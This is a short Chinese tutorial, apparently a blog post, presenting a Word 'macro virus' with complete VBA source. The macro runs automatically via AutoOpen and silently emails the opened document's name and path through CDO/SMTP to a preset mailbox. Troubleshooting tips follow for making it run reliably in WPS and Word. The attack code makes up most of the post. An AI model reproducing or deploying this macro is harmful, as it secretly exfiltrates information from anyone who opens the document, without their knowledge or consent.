word宏病毒通过邮件获取路径和文件名

简介

利用word VB编程实现一个脚本，设置为文档打开时运行，然后利用CDO发送电子邮件将文件的路径和名字发送到指定邮箱中。

思路

1. 建立wps或者wordVB开发环境，需要下载插件，可以搜索如何开启宏功能
2. 测试VB（利用AutoOpen执行打开文档时运行）
3. 利用WordObj.ActiveDocument获取文件信息
4. 利用电子邮件实现信息传递，这里我使用的是CDO实现电子邮件发送

源代码

Sub AutoOpen()
Dim WordObj As Object
Dim Doc As Object
Set WordObj = GetObject(, "Word.Application")
Set Doc = WordObj.ActiveDocument
'MsgBox (Doc.Path)

Const from = "123123@qq.com"
Const to_ = "99999999@163.com"
Const password = "XXXXXXXXXXX"

Set CDO = CreateObject("CDO.Message")
CDO.from = from
CDO.to = to_
CDO.Subject = Doc.Name
CDO.Textbody = Doc.Path

Const proxyUrl= "http://schemas.microsoft.com/cdo/configuration/"
With CDO.Configuration.Fields
.Item(proxyUrl& "sendusing") = 2
.Item(proxyUrl& "smtpserver") = "smtp.XX.com"
.Item(proxyUrl& "smtpserverport") = 465
.Item(proxyUrl& "smtpauthenticate") = 1      '是否开启用户名密码验证
.Item(proxyUrl& "sendusername") = "1231233"
.Item(proxyUrl& "sendpassword") = password
.Item(proxyUrl& "smtpusessl") = True         '是否使用ssl协议
.Item(proxyUrl& "smtpconnectiontimeout") = 60
.Update
End With
CDO.Send
Set CDO = Nothing
'MsgBox("done")
End Sub

重点和难点

1. wps报429 ActiveX不能创建对象 ，解决：https://www.cnblogs.com/pyman/p/7918484.html
2. 获取文件信息的时候，有很多方法，但是不是每种方法都可以，我认为存在版本问题。
3. CDO发送邮件的时候需要开启邮件的stmp授权代理，另外有的邮件需要设置授权码而不是密码。
4. 脚本需要设置为“thisDocument”，否则很容易不运行。